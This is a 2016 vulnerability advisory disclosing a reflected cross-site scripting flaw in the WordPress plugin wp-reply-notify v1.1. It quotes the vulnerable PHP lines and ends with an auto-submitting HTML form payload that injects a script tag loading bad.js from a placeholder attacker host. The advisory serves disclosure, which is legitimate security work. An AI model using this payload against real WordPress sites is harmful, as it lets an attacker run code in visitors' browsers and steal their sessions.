Advisory #: 1106
Title: Reflected XSS in wordpress plugin wp-reply-notify v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-reply-notify
Downloads: 2920
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-reply-notify
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-reply-notify/mail-tpl.php: 13: <a href="<?php echo $_POST['url']; ?>" target="_blank"><?php echo htmlspecialchars($_POST['s_home_title']); ?></a> 17: <a href="<?php echo $_POST['s_url']; ?>" target="_blank"><?php echo htmlspecialchars($_POST['s_post_title']); ?></a> 21: <a href="<?php echo $_POST['r1_url']; ?>" target="_blank"><?php echo $_POST['r1_regdate']; ?></a><br/> 26: <a href="<?php echo $_POST['r2_url']; ?>" target="_blank"><?php echo $_POST['r2_regdate']; ?></a><br/> The variable url appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-reply-notify/mail-tpl.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-reply-notify/mail-tpl.php method=post> <input type=hidden name=url value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>